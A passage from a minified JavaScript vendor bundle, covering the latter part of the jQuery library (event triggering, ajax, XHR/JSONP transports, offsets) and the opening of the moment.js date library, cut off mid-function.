g,h,i,j,k,m,n,o=[e||d],p=l.call(b,"type")?b.type:b,q=l.call(b,"namespace")?b.namespace.split("."):[];if(h=i=e=e||d,3!==e.nodeType&&8!==e.nodeType&&!sb.test(p+r.event.triggered)&&(p.indexOf(".")>-1&&(q=p.split("."),p=q.shift(),q.sort()),k=p.indexOf(":")<0&&"on"+p,b=b[r.expando]?b:new r.Event(p,"object"==typeof b&&b),b.isTrigger=f?2:3,b.namespace=q.join("."),b.rnamespace=b.namespace?new RegExp("(^|\\.)"+q.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,b.result=void 0,b.target||(b.target=e),c=null==c?[b]:r.makeArray(c,[b]),n=r.event.special[p]||{},f||!n.trigger||n.trigger.apply(e,c)!==!1)){if(!f&&!n.noBubble&&!r.isWindow(e)){for(j=n.delegateType||p,sb.test(j+p)||(h=h.parentNode);h;h=h.parentNode)o.push(h),i=h;i===(e.ownerDocument||d)&&o.push(i.defaultView||i.parentWindow||a)}g=0;while((h=o[g++])&&!b.isPropagationStopped())b.type=g>1?j:n.bindType||p,m=(W.get(h,"events")||{})[b.type]&&W.get(h,"handle"),m&&m.apply(h,c),m=k&&h[k],m&&m.apply&&U(h)&&(b.result=m.apply(h,c),b.result===!1&&b.preventDefault());return b.type=p,f||b.isDefaultPrevented()||n._default&&n._default.apply(o.pop(),c)!==!1||!U(e)||k&&r.isFunction(e[p])&&!r.isWindow(e)&&(i=e[k],i&&(e[k]=null),r.event.triggered=p,e[p](),r.event.triggered=void 0,i&&(e[k]=i)),b.result}},simulate:function(a,b,c){var d=r.extend(new r.Event,c,{type:a,isSimulated:!0});r.event.trigger(d,null,b)}}),r.fn.extend({trigger:function(a,b){return this.each(function(){r.event.trigger(a,b,this)})},triggerHandler:function(a,b){var c=this[0];if(c)return r.event.trigger(a,b,c,!0)}}),r.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "),function(a,b){r.fn[b]=function(a,c){return arguments.length>0?this.on(b,null,a,c):this.trigger(b)}}),r.fn.extend({hover:function(a,b){return this.mouseenter(a).mouseleave(b||a)}}),o.focusin="onfocusin"in a,o.focusin||r.each({focus:"focusin",blur:"focusout"},function(a,b){var c=function(a){r.event.simulate(b,a.target,r.event.fix(a))};r.event.special[b]={setup:function(){var d=this.ownerDocument||this,e=W.access(d,b);e||d.addEventListener(a,c,!0),W.access(d,b,(e||0)+1)},teardown:function(){var d=this.ownerDocument||this,e=W.access(d,b)-1;e?W.access(d,b,e):(d.removeEventListener(a,c,!0),W.remove(d,b))}}});var tb=a.location,ub=r.now(),vb=/\?/;r.parseXML=function(b){var c;if(!b||"string"!=typeof b)return null;try{c=(new a.DOMParser).parseFromString(b,"text/xml")}catch(d){c=void 0}return c&&!c.getElementsByTagName("parsererror").length||r.error("Invalid XML: "+b),c};var wb=/\[\]$/,xb=/\r?\n/g,yb=/^(?:submit|button|image|reset|file)$/i,zb=/^(?:input|select|textarea|keygen)/i;function Ab(a,b,c,d){var e;if(Array.isArray(b))r.each(b,function(b,e){c||wb.test(a)?d(a,e):Ab(a+"["+("object"==typeof e&&null!=e?b:"")+"]",e,c,d)});else if(c||"object"!==r.type(b))d(a,b);else for(e in b)Ab(a+"["+e+"]",b[e],c,d)}r.param=function(a,b){var c,d=[],e=function(a,b){var c=r.isFunction(b)?b():b;d[d.length]=encodeURIComponent(a)+"="+encodeURIComponent(null==c?"":c)};if(Array.isArray(a)||a.jquery&&!r.isPlainObject(a))r.each(a,function(){e(this.name,this.value)});else for(c in a)Ab(c,a[c],b,e);return d.join("&")},r.fn.extend({serialize:function(){return r.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var a=r.prop(this,"elements");return a?r.makeArray(a):this}).filter(function(){var a=this.type;return this.name&&!r(this).is(":disabled")&&zb.test(this.nodeName)&&!yb.test(a)&&(this.checked||!ja.test(a))}).map(function(a,b){var c=r(this).val();return null==c?null:Array.isArray(c)?r.map(c,function(a){return{name:b.name,value:a.replace(xb,"\r\n")}}):{name:b.name,value:c.replace(xb,"\r\n")}}).get()}});var Bb=/%20/g,Cb=/#.*$/,Db=/([?&])_=[^&]*/,Eb=/^(.*?):[ \t]*([^\r\n]*)$/gm,Fb=/^(?:about|app|app-storage|.+-extension|file|res|widget):$/,Gb=/^(?:GET|HEAD)$/,Hb=/^\/\//,Ib={},Jb={},Kb="*/".concat("*"),Lb=d.createElement("a");Lb.href=tb.href;function Mb(a){return function(b,c){"string"!=typeof b&&(c=b,b="*");var d,e=0,f=b.toLowerCase().match(L)||[];if(r.isFunction(c))while(d=f[e++])"+"===d[0]?(d=d.slice(1)||"*",(a[d]=a[d]||[]).unshift(c)):(a[d]=a[d]||[]).push(c)}}function Nb(a,b,c,d){var e={},f=a===Jb;function g(h){var i;return e[h]=!0,r.each(a[h]||[],function(a,h){var j=h(b,c,d);return"string"!=typeof j||f||e[j]?f?!(i=j):void 0:(b.dataTypes.unshift(j),g(j),!1)}),i}return g(b.dataTypes[0])||!e["*"]&&g("*")}function Ob(a,b){var c,d,e=r.ajaxSettings.flatOptions||{};for(c in b)void 0!==b[c]&&((e[c]?a:d||(d={}))[c]=b[c]);return d&&r.extend(!0,a,d),a}function Pb(a,b,c){var d,e,f,g,h=a.contents,i=a.dataTypes;while("*"===i[0])i.shift(),void 0===d&&(d=a.mimeType||b.getResponseHeader("Content-Type"));if(d)for(e in h)if(h[e]&&h[e].test(d)){i.unshift(e);break}if(i[0]in c)f=i[0];else{for(e in c){if(!i[0]||a.converters[e+" "+i[0]]){f=e;break}g||(g=e)}f=f||g}if(f)return f!==i[0]&&i.unshift(f),c[f]}function Qb(a,b,c,d){var e,f,g,h,i,j={},k=a.dataTypes.slice();if(k[1])for(g in a.converters)j[g.toLowerCase()]=a.converters[g];f=k.shift();while(f)if(a.responseFields[f]&&(c[a.responseFields[f]]=b),!i&&d&&a.dataFilter&&(b=a.dataFilter(b,a.dataType)),i=f,f=k.shift())if("*"===f)f=i;else if("*"!==i&&i!==f){if(g=j[i+" "+f]||j["* "+f],!g)for(e in j)if(h=e.split(" "),h[1]===f&&(g=j[i+" "+h[0]]||j["* "+h[0]])){g===!0?g=j[e]:j[e]!==!0&&(f=h[0],k.unshift(h[1]));break}if(g!==!0)if(g&&a["throws"])b=g(b);else try{b=g(b)}catch(l){return{state:"parsererror",error:g?l:"No conversion from "+i+" to "+f}}}return{state:"success",data:b}}r.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:tb.href,type:"GET",isLocal:Fb.test(tb.protocol),global:!0,processData:!0,async:!0,contentType:"application/x-www-form-urlencoded; charset=UTF-8",accepts:{"*":Kb,text:"text/plain",html:"text/html",xml:"application/xml, text/xml",json:"application/json, text/javascript"},contents:{xml:/\bxml\b/,html:/\bhtml/,json:/\bjson\b/},responseFields:{xml:"responseXML",text:"responseText",json:"responseJSON"},converters:{"* text":String,"text html":!0,"text json":JSON.parse,"text xml":r.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(a,b){return b?Ob(Ob(a,r.ajaxSettings),b):Ob(r.ajaxSettings,a)},ajaxPrefilter:Mb(Ib),ajaxTransport:Mb(Jb),ajax:function(b,c){"object"==typeof b&&(c=b,b=void 0),c=c||{};var e,f,g,h,i,j,k,l,m,n,o=r.ajaxSetup({},c),p=o.context||o,q=o.context&&(p.nodeType||p.jquery)?r(p):r.event,s=r.Deferred(),t=r.Callbacks("once memory"),u=o.statusCode||{},v={},w={},x="canceled",y={readyState:0,getResponseHeader:function(a){var b;if(k){if(!h){h={};while(b=Eb.exec(g))h[b[1].toLowerCase()]=b[2]}b=h[a.toLowerCase()]}return null==b?null:b},getAllResponseHeaders:function(){return k?g:null},setRequestHeader:function(a,b){return null==k&&(a=w[a.toLowerCase()]=w[a.toLowerCase()]||a,v[a]=b),this},overrideMimeType:function(a){return null==k&&(o.mimeType=a),this},statusCode:function(a){var b;if(a)if(k)y.always(a[y.status]);else for(b in a)u[b]=[u[b],a[b]];return this},abort:function(a){var b=a||x;return e&&e.abort(b),A(0,b),this}};if(s.promise(y),o.url=((b||o.url||tb.href)+"").replace(Hb,tb.protocol+"//"),o.type=c.method||c.type||o.method||o.type,o.dataTypes=(o.dataType||"*").toLowerCase().match(L)||[""],null==o.crossDomain){j=d.createElement("a");try{j.href=o.url,j.href=j.href,o.crossDomain=Lb.protocol+"//"+Lb.host!=j.protocol+"//"+j.host}catch(z){o.crossDomain=!0}}if(o.data&&o.processData&&"string"!=typeof o.data&&(o.data=r.param(o.data,o.traditional)),Nb(Ib,o,c,y),k)return y;l=r.event&&o.global,l&&0===r.active++&&r.event.trigger("ajaxStart"),o.type=o.type.toUpperCase(),o.hasContent=!Gb.test(o.type),f=o.url.replace(Cb,""),o.hasContent?o.data&&o.processData&&0===(o.contentType||"").indexOf("application/x-www-form-urlencoded")&&(o.data=o.data.replace(Bb,"+")):(n=o.url.slice(f.length),o.data&&(f+=(vb.test(f)?"&":"?")+o.data,delete o.data),o.cache===!1&&(f=f.replace(Db,"$1"),n=(vb.test(f)?"&":"?")+"_="+ub++ +n),o.url=f+n),o.ifModified&&(r.lastModified[f]&&y.setRequestHeader("If-Modified-Since",r.lastModified[f]),r.etag[f]&&y.setRequestHeader("If-None-Match",r.etag[f])),(o.data&&o.hasContent&&o.contentType!==!1||c.contentType)&&y.setRequestHeader("Content-Type",o.contentType),y.setRequestHeader("Accept",o.dataTypes[0]&&o.accepts[o.dataTypes[0]]?o.accepts[o.dataTypes[0]]+("*"!==o.dataTypes[0]?", "+Kb+"; q=0.01":""):o.accepts["*"]);for(m in o.headers)y.setRequestHeader(m,o.headers[m]);if(o.beforeSend&&(o.beforeSend.call(p,y,o)===!1||k))return y.abort();if(x="abort",t.add(o.complete),y.done(o.success),y.fail(o.error),e=Nb(Jb,o,c,y)){if(y.readyState=1,l&&q.trigger("ajaxSend",[y,o]),k)return y;o.async&&o.timeout>0&&(i=a.setTimeout(function(){y.abort("timeout")},o.timeout));try{k=!1,e.send(v,A)}catch(z){if(k)throw z;A(-1,z)}}else A(-1,"No Transport");function A(b,c,d,h){var j,m,n,v,w,x=c;k||(k=!0,i&&a.clearTimeout(i),e=void 0,g=h||"",y.readyState=b>0?4:0,j=b>=200&&b<300||304===b,d&&(v=Pb(o,y,d)),v=Qb(o,v,y,j),j?(o.ifModified&&(w=y.getResponseHeader("Last-Modified"),w&&(r.lastModified[f]=w),w=y.getResponseHeader("etag"),w&&(r.etag[f]=w)),204===b||"HEAD"===o.type?x="nocontent":304===b?x="notmodified":(x=v.state,m=v.data,n=v.error,j=!n)):(n=x,!b&&x||(x="error",b<0&&(b=0))),y.status=b,y.statusText=(c||x)+"",j?s.resolveWith(p,[m,x,y]):s.rejectWith(p,[y,x,n]),y.statusCode(u),u=void 0,l&&q.trigger(j?"ajaxSuccess":"ajaxError",[y,o,j?m:n]),t.fireWith(p,[y,x]),l&&(q.trigger("ajaxComplete",[y,o]),--r.active||r.event.trigger("ajaxStop")))}return y},getJSON:function(a,b,c){return r.get(a,b,c,"json")},getScript:function(a,b){return r.get(a,void 0,b,"script")}}),r.each(["get","post"],function(a,b){r[b]=function(a,c,d,e){return r.isFunction(c)&&(e=e||d,d=c,c=void 0),r.ajax(r.extend({url:a,type:b,dataType:e,data:c,success:d},r.isPlainObject(a)&&a))}}),r._evalUrl=function(a){return r.ajax({url:a,type:"GET",dataType:"script",cache:!0,async:!1,global:!1,"throws":!0})},r.fn.extend({wrapAll:function(a){var b;return this[0]&&(r.isFunction(a)&&(a=a.call(this[0])),b=r(a,this[0].ownerDocument).eq(0).clone(!0),this[0].parentNode&&b.insertBefore(this[0]),b.map(function(){var a=this;while(a.firstElementChild)a=a.firstElementChild;return a}).append(this)),this},wrapInner:function(a){return r.isFunction(a)?this.each(function(b){r(this).wrapInner(a.call(this,b))}):this.each(function(){var b=r(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){var b=r.isFunction(a);return this.each(function(c){r(this).wrapAll(b?a.call(this,c):a)})},unwrap:function(a){return this.parent(a).not("body").each(function(){r(this).replaceWith(this.childNodes)}),this}}),r.expr.pseudos.hidden=function(a){return!r.expr.pseudos.visible(a)},r.expr.pseudos.visible=function(a){return!!(a.offsetWidth||a.offsetHeight||a.getClientRects().length)},r.ajaxSettings.xhr=function(){try{return new a.XMLHttpRequest}catch(b){}};var Rb={0:200,1223:204},Sb=r.ajaxSettings.xhr();o.cors=!!Sb&&"withCredentials"in Sb,o.ajax=Sb=!!Sb,r.ajaxTransport(function(b){var c,d;if(o.cors||Sb&&!b.crossDomain)return{send:function(e,f){var g,h=b.xhr();if(h.open(b.type,b.url,b.async,b.username,b.password),b.xhrFields)for(g in b.xhrFields)h[g]=b.xhrFields[g];b.mimeType&&h.overrideMimeType&&h.overrideMimeType(b.mimeType),b.crossDomain||e["X-Requested-With"]||(e["X-Requested-With"]="XMLHttpRequest");for(g in e)h.setRequestHeader(g,e[g]);c=function(a){return function(){c&&(c=d=h.onload=h.onerror=h.onabort=h.onreadystatechange=null,"abort"===a?h.abort():"error"===a?"number"!=typeof h.status?f(0,"error"):f(h.status,h.statusText):f(Rb[h.status]||h.status,h.statusText,"text"!==(h.responseType||"text")||"string"!=typeof h.responseText?{binary:h.response}:{text:h.responseText},h.getAllResponseHeaders()))}},h.onload=c(),d=h.onerror=c("error"),void 0!==h.onabort?h.onabort=d:h.onreadystatechange=function(){4===h.readyState&&a.setTimeout(function(){c&&d()})},c=c("abort");try{h.send(b.hasContent&&b.data||null)}catch(i){if(c)throw i}},abort:function(){c&&c()}}}),r.ajaxPrefilter(function(a){a.crossDomain&&(a.contents.script=!1)}),r.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/\b(?:java|ecma)script\b/},converters:{"text script":function(a){return r.globalEval(a),a}}}),r.ajaxPrefilter("script",function(a){void 0===a.cache&&(a.cache=!1),a.crossDomain&&(a.type="GET")}),r.ajaxTransport("script",function(a){if(a.crossDomain){var b,c;return{send:function(e,f){b=r("<script>").prop({charset:a.scriptCharset,src:a.url}).on("load error",c=function(a){b.remove(),c=null,a&&f("error"===a.type?404:200,a.type)}),d.head.appendChild(b[0])},abort:function(){c&&c()}}}});var Tb=[],Ub=/(=)\?(?=&|$)|\?\?/;r.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var a=Tb.pop()||r.expando+"_"+ub++;return this[a]=!0,a}}),r.ajaxPrefilter("json jsonp",function(b,c,d){var e,f,g,h=b.jsonp!==!1&&(Ub.test(b.url)?"url":"string"==typeof b.data&&0===(b.contentType||"").indexOf("application/x-www-form-urlencoded")&&Ub.test(b.data)&&"data");if(h||"jsonp"===b.dataTypes[0])return e=b.jsonpCallback=r.isFunction(b.jsonpCallback)?b.jsonpCallback():b.jsonpCallback,h?b[h]=b[h].replace(Ub,"$1"+e):b.jsonp!==!1&&(b.url+=(vb.test(b.url)?"&":"?")+b.jsonp+"="+e),b.converters["script json"]=function(){return g||r.error(e+" was not called"),g[0]},b.dataTypes[0]="json",f=a[e],a[e]=function(){g=arguments},d.always(function(){void 0===f?r(a).removeProp(e):a[e]=f,b[e]&&(b.jsonpCallback=c.jsonpCallback,Tb.push(e)),g&&r.isFunction(f)&&f(g[0]),g=f=void 0}),"script"}),o.createHTMLDocument=function(){var a=d.implementation.createHTMLDocument("").body;return a.innerHTML="<form></form><form></form>",2===a.childNodes.length}(),r.parseHTML=function(a,b,c){if("string"!=typeof a)return[];"boolean"==typeof b&&(c=b,b=!1);var e,f,g;return b||(o.createHTMLDocument?(b=d.implementation.createHTMLDocument(""),e=b.createElement("base"),e.href=d.location.href,b.head.appendChild(e)):b=d),f=C.exec(a),g=!c&&[],f?[b.createElement(f[1])]:(f=qa([a],b,g),g&&g.length&&r(g).remove(),r.merge([],f.childNodes))},r.fn.load=function(a,b,c){var d,e,f,g=this,h=a.indexOf(" ");return h>-1&&(d=pb(a.slice(h)),a=a.slice(0,h)),r.isFunction(b)?(c=b,b=void 0):b&&"object"==typeof b&&(e="POST"),g.length>0&&r.ajax({url:a,type:e||"GET",dataType:"html",data:b}).done(function(a){f=arguments,g.html(d?r("<div>").append(r.parseHTML(a)).find(d):a)}).always(c&&function(a,b){g.each(function(){c.apply(this,f||[a.responseText,b,a])})}),this},r.each(["ajaxStart","ajaxStop","ajaxComplete","ajaxError","ajaxSuccess","ajaxSend"],function(a,b){r.fn[b]=function(a){return this.on(b,a)}}),r.expr.pseudos.animated=function(a){return r.grep(r.timers,function(b){return a===b.elem}).length},r.offset={setOffset:function(a,b,c){var d,e,f,g,h,i,j,k=r.css(a,"position"),l=r(a),m={};"static"===k&&(a.style.position="relative"),h=l.offset(),f=r.css(a,"top"),i=r.css(a,"left"),j=("absolute"===k||"fixed"===k)&&(f+i).indexOf("auto")>-1,j?(d=l.position(),g=d.top,e=d.left):(g=parseFloat(f)||0,e=parseFloat(i)||0),r.isFunction(b)&&(b=b.call(a,c,r.extend({},h))),null!=b.top&&(m.top=b.top-h.top+g),null!=b.left&&(m.left=b.left-h.left+e),"using"in b?b.using.call(a,m):l.css(m)}},r.fn.extend({offset:function(a){if(arguments.length)return void 0===a?this:this.each(function(b){r.offset.setOffset(this,a,b)});var b,c,d,e,f=this[0];if(f)return f.getClientRects().length?(d=f.getBoundingClientRect(),b=f.ownerDocument,c=b.documentElement,e=b.defaultView,{top:d.top+e.pageYOffset-c.clientTop,left:d.left+e.pageXOffset-c.clientLeft}):{top:0,left:0}},position:function(){if(this[0]){var a,b,c=this[0],d={top:0,left:0};return"fixed"===r.css(c,"position")?b=c.getBoundingClientRect():(a=this.offsetParent(),b=this.offset(),B(a[0],"html")||(d=a.offset()),d={top:d.top+r.css(a[0],"borderTopWidth",!0),left:d.left+r.css(a[0],"borderLeftWidth",!0)}),{top:b.top-d.top-r.css(c,"marginTop",!0),left:b.left-d.left-r.css(c,"marginLeft",!0)}}},offsetParent:function(){return this.map(function(){var a=this.offsetParent;while(a&&"static"===r.css(a,"position"))a=a.offsetParent;return a||ra})}}),r.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(a,b){var c="pageYOffset"===b;r.fn[a]=function(d){return T(this,function(a,d,e){var f;return r.isWindow(a)?f=a:9===a.nodeType&&(f=a.defaultView),void 0===e?f?f[b]:a[d]:void(f?f.scrollTo(c?f.pageXOffset:e,c?e:f.pageYOffset):a[d]=e)},a,d,arguments.length)}}),r.each(["top","left"],function(a,b){r.cssHooks[b]=Pa(o.pixelPosition,function(a,c){if(c)return c=Oa(a,b),Ma.test(c)?r(a).position()[b]+"px":c})}),r.each({Height:"height",Width:"width"},function(a,b){r.each({padding:"inner"+a,content:b,"":"outer"+a},function(c,d){r.fn[d]=function(e,f){var g=arguments.length&&(c||"boolean"!=typeof e),h=c||(e===!0||f===!0?"margin":"border");return T(this,function(b,c,e){var f;return r.isWindow(b)?0===d.indexOf("outer")?b["inner"+a]:b.document.documentElement["client"+a]:9===b.nodeType?(f=b.documentElement,Math.max(b.body["scroll"+a],f["scroll"+a],b.body["offset"+a],f["offset"+a],f["client"+a])):void 0===e?r.css(b,c,h):r.style(b,c,e,h)},b,g?e:void 0,g)}})}),r.fn.extend({bind:function(a,b,c){return this.on(a,null,b,c)},unbind:function(a,b){return this.off(a,null,b)},delegate:function(a,b,c,d){return this.on(b,a,c,d)},undelegate:function(a,b,c){return 1===arguments.length?this.off(a,"**"):this.off(b,a||"**",c)}}),r.holdReady=function(a){a?r.readyWait++:r.ready(!0)},r.isArray=Array.isArray,r.parseJSON=JSON.parse,r.nodeName=B,"function"==typeof define&&define.amd&&define("jquery",[],function(){return r});var Vb=a.jQuery,Wb=a.$;return r.noConflict=function(b){return a.$===r&&(a.$=Wb),b&&a.jQuery===r&&(a.jQuery=Vb),r},b||(a.jQuery=a.$=r),r}); !function(e,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):e.moment=t()}(this,function(){"use strict";function e(){return Qe.apply(null,arguments)}function t(e){return e instanceof Array||"[object Array]"===Object.prototype.toString.call(e)}function n(e){return null!=e&&"[object Object]"===Object.prototype.toString.call(e)}function s(e){return void 0===e}function i(e){return"number"==typeof e||"[object Number]"===Object.prototype.toString.call(e)}function r(e){return e instanceof Date||"[object Date]"===Object.prototype.toString.call(e)}function a(e,t){var n,s=[];for(n=0;n<e.length;++n)s.push(t(e[n],n));return s}function o(e,t){return Object.prototype.hasOwnProperty.call(e,t)}function u(e,t){for(var n in t)o(t,n)&&(e[n]=t[n]);return o(t,"toString")&&(e.toString=t.toString),o(t,"valueOf")&&(e.valueOf=t.valueOf),e}function l(e,t,n,s){return ge(e,t,n,s,!0).utc()}function d(e){return null==e._pf&&(e._pf={empty:!1,unusedTokens:[],unusedInput:[],overflow:-2,charsLeftOver:0,nullInput:!1,invalidMonth:null,invalidFormat:!1,userInvalidated:!1,iso:!1,parsedDateParts:[],meridiem:null,rfc2822:!1,weekdayMismatch:!1}),e._pf}function h(e){if(null==e._isValid){var t=d(e),n=Xe.call(t.parsedDateParts,function(e){return null!=e}),s=!isNaN(e._d.getTime())&&t.overflow<0&&!t.empty&&!t.invalidMonth&&!t.invalidWeekday&&!t.weekdayMismatch&&!t.nullInput&&!t.invalidFormat&&!t.userInvalidated&&(!t.meridiem||t.meridiem&&n);if(e._strict&&(s=s&&0===t.charsLeftOver&&0===t.unusedTokens.length&&void 0===t.bigHour),null!=Object.isFrozen&&Object.isFrozen(e))return s;e._isValid=s}return e._isValid}function c(e){var t=l(NaN);return null!=e?u(d(t),e):d(t).userInvalidated=!0,t}function f(e,t){var n,i,r;if(s(t._isAMomentObject)||(e._isAMomentObject=t._isAMomentObject),s(t._i)||(e._i=t._i),s(t._f)||(e._f=t._f),s(t._l)||(e._l=t._l),s(t._strict)||(e._strict=t._strict),s(t._tzm)||(e._tzm=t._tzm),s(t._isUTC)||(e._isUTC=t._isUTC),s(t._offset)||(e._offset=t._offset),s(t._pf)||(e._pf=d(t)),s(t._locale)||(e._locale=t._locale),Ke.length>0)for(n=0;n<Ke.length;n++)s(r=t[i=Ke[n]])||(e[i]=r);return e}function m(t){f(this,t),this._d=new Date(null!=t._d?t._d.getTime():NaN),this.isValid()||(this._d=new Date(NaN)),!1===et&&(et=!0,e.updateOffset(this),et=!1)}function _(e){return e instanceof m||null!=e&&null!=e._isAMomentObject}function y(e){return e<0?Math.ceil(e)||0:Math.floor(e)}function g(e){var t=+e,n=0;return 0!==t&&isFinite(t)&&(n=y(t)),n}function p(e,t,n){var s,i=Math.min(e.length,t.length),r=Math.abs(e.length-t.length),a=0;for(s=0;s<i;s++)(n&&e[s]!==t[s]||!n&&g(e[s])!==g(t[s]))&&a++;return a+r}function w(t){!1===e.suppressDeprecationWarnings&&"undefined"!=typeof console&&console.warn&&console.warn("Deprecation warning: "+t)}function v(t,n){var s=!0;return u(function(){if(null!=e.deprecationHandler&&e.deprecationHandler(null,t),s){for(var i,r=[],a=0;a<arguments.length;a++){if(i="","object"==typeof arguments[a]){i+="\n["+a+"] ";for(var o in arguments[0])i+=o+": "+arguments[0][o]+", ";i=i.slice(0,-2)}else i=arguments[a];r.push(i)}w(t+"\nArguments: "+Array.prototype.slice.call(r).join("")+"\n"+(new Error).stack),s=!1}return n.apply(this,arguments)},n)}function M(t,n){null!=e.deprecationHandler&&e.deprecationHandler(t,n),tt[t]||(w(n),tt[t]=!0)}function S(e){return e instanceof Function||"[object Function]"===Object.prototype.toString.call(e)}function D(e,t){var s,i=u({},e);for(s in t)o(t,s)&&(n(e[s])&&n(t[s])?(i[s]={},u(i[s],e[s]),u(i[s],t[s])):null!=t[s]?i[s]=t[s]:delete i[s]);for(s in e)o(e,s)&&!o(t,s)&&n(e[s])&&(i[s]=u({},i[s]));return i}function k(e){null!=e&&this.set(e)}function Y(e,t){var n=e.toLowerCase();st[n]=st[n+"s"]=st[t]=e}function O(e){return"string"==typeof e?st[e]||st[e.toLowerCase()]:void 0}function T(e){var t,n,s={};for(n in e)o(e,n)&&(t=O(n))&&(s[t]=e[n]);return s}function x(e,t){it[e]=t}function b(e,t,n){var s=""+Math.abs(e),i=t-s.length;return(e>=0?n?"+":"":"-")+Math.pow(10,Math.max(0,i)).toString().substr(1)+s}function P(e,t,n,s){var i=s;"string"==typeof s&&(i=function(){return this[s]()}),e&&(ut[e]=i),t&&(ut[t[0]]=function(){return b(i.apply(this,arguments),t[1],t[2])}),n&&(ut[n]=function(){return this.localeData().ordinal(i.apply(this,arguments),e)})}function W(e){return e.match(/\[[\s\S]/)?e.replace(/^\[|\]$/g,""):e.replace(/\\/g,"")}function H(e,t){return e.isValid()?(t=R(t,e.localeData()),ot[t]=ot[t]||function(e){var t,n,s=e.match(rt);for(t=0,n=s.length;t<n;t++)ut[s[t]]?s[t]=ut[s[t]]:s[t]=W(s[t]);return function(t){var i,r="";for(i=0;i<n;i++)r+=S(s[i])?s[i].call(t,e):s[i];return r}}(t),ot[t](e)):e.localeData().invalidDate()}function R(e,t){function n(e){return t.longDateFormat(e)||e}var s=5;for(at.lastIndex=0;s>=0&&at.test(e);)e=e.replace(at,n),at.lastIndex=0,s-=1;return e}function C(e,t,n){Yt[e]=S(t)?t:function(e,s){return e&&n?n:t}}function F(e,t){return o(Yt,e)?Yt[e](t._strict,t._locale):new RegExp(function(e){return U(e.replace("\\","").replace(/\\(\[)|\\(\])|\[([^\]\[]*)\]|\\(.)/g,function(e,t,n,s,i){return t||n||s||i}))}(e))}function U(e){return e.replace(/[-\/\\^$*+?.()|[\]{}]/g,"\\$&")}function L(e,t){var n,s=t;for("string"==typeof e&&(e=[e]),i(t)&&(s=function(e,n){n[t]=g(e)}),n=0;n<e.length;n++)Ot[e[n]]=s}function N(e,t){L(e,function(e,n,s,i){s._w=s._w||{},t(e,s._w,s,i)})}function G(e,t,n){null!=t&&o(Ot,e)&&Ot[e](t,n._a,n,e)}function V(e){return E(e)?366:365}function E(e){return e%4==0&&e%100!=0||e%400==0}function I(t,n){return function(s){return null!=s?(j(this,t,s),e.updateOffset(this,n),this):A(this,t)}}function A(e,t){return e.isValid()?e._d["get"+(e._isUTC?"UTC":"")+t]():NaN}function j(e,t,n){e.isValid()&&!isNaN(n)&&("FullYear"===t&&E(e.year())&&1===e.month()&&29===e.date()?e._d["set"+(e._isUTC?"UTC":"")+t](n,e.month(),Z(n,e.month())):e._d["set"+(e._isUTC?"UTC":"")+t](n))}function Z(e,t){if(isNaN(e)||isNaN(t))return NaN;var n=function(e,t){return(e%t+t)%t}(t,12);return e+=(t-n)/12,1===n?E(e)?29:28:31-n%7%2}function z(e,t){var n;if(!e.isValid())return e;if("string"==typeof t)if(/^\d+$/.test(t))t=g(t);else if(t=e.localeData().monthsParse(t),!i(t))return e;return n=Math.min(e.date(),Z(e.year(),t)),e._d["set"+(e._isUTC?"UTC":"")+"Month"](t,n),e}function $(t){return null!=t?(z(this,t),e.updateOffset(this,!0),this):A(this,"Month")}function q(){function e(e,t){return t.length-e.length}var t,n,s=[],i=[],r=[];for(t=0;t<12;t++)n=l([2e3,t]),s.push(this.monthsShort(n,"")),i.push(this.months(n,"")),r.push(this.months(n,"")),r.push(this.monthsShort(n,""));for(s.sort(e),i.sort(e),r.sort(e),t=0;t<12;t++)s[t]=U(s[t]),i[t]=U(i[t]);for(t=0;t<24;t++)r[t]=U(r[t]);this._monthsRegex=new RegExp("^("+r.join("|")+")","i"),this._monthsShortRegex=this._monthsRegex,this._monthsStrictRegex=new RegExp("^("+i.join("|")+")","i"),this._monthsShortStrictRegex=new RegExp("^("+s.join("|")+")","i")}function J(e){var t=new Date(Date.UTC.apply(null,arguments));return e<100&&e>=0&&isFinite(t.getUTCFullYear())&&t.setUTCFullYear(e),t}function B(e,t,n){var s=7+t-n;return-((7+J(e,0,s).getUTCDay()-t)%7)+s-1}function Q(e,t,n,s,i){var r,a,o=1+7*(t-1)+(7+n-s)%7+B(e,s,i);return o<=0?a=V(r=e-1)+o:o>V(e)?(r=e+1,a=o-V(e)):(r=e,a=o),{year:r,dayOfYear:a}}function X(e,t,n){var s,i,r=B(e.year(),t,n),a=Math.floor((e.dayOfYear()-r-1)/7)+1;return a<1?s=a+K(i=e.year()-1,t,n):a>K(e.year(),t,n)?(s=a-K(e.year(),t,n),i=e.year()+1):(i=e.year(),s=a),{week:s,year:i}}function K(e,t,n){var s=B(e,t,n),i=B(e+1,t,n);return(V(e)-s+i)/7}function ee(){function e(e,t){return t.length-e.length}var t,n,s,i,r,a=[],o=[],u=[],d=[];for(t=0;t<7;t++)n=l([2e3,1]).day(t),s=this.weekdaysMin(n,""),i=this.weekdaysShort(n,""),r=this.weekdays(n,""),a.push(s),o.push(i),u.push(r),d.push(s),d.push(i),d.push(r);for(a.sort(e),o.sort(e),u.sort(e),d.sort(e),t=0;t<7;t++)o[t]=U(o[t]),u[t]=U(u[t]),d[t]=U(d[t]);this._weekdaysRegex=new RegExp("^("+d.join("|")+")","i"),this._weekdaysShortRegex=this._weekdaysRegex,this._weekdaysMinRegex=this._weekdaysRegex,this._weekdaysStrictRegex=new RegExp("^("+u.join("|")+")","i"),this._weekdaysShortStrictRegex=new RegExp("^("+o.join("|")+")","i"),this._weekdaysMinStrictRegex=new RegExp("^("+a.join("|")+")","i")}function te(){return this.hours()%12||12}function ne(e,t){P(e,0,0,function(){return this.localeData().meridiem(this.hours(),this.minutes(),t)})}function se(e,t){return t._meridiemParse}function ie(e){return e?e.toLowerCase().replace("_","-"):e}function re(e){var t=null;if(!Xt[e]&&"undefined"!=typeof 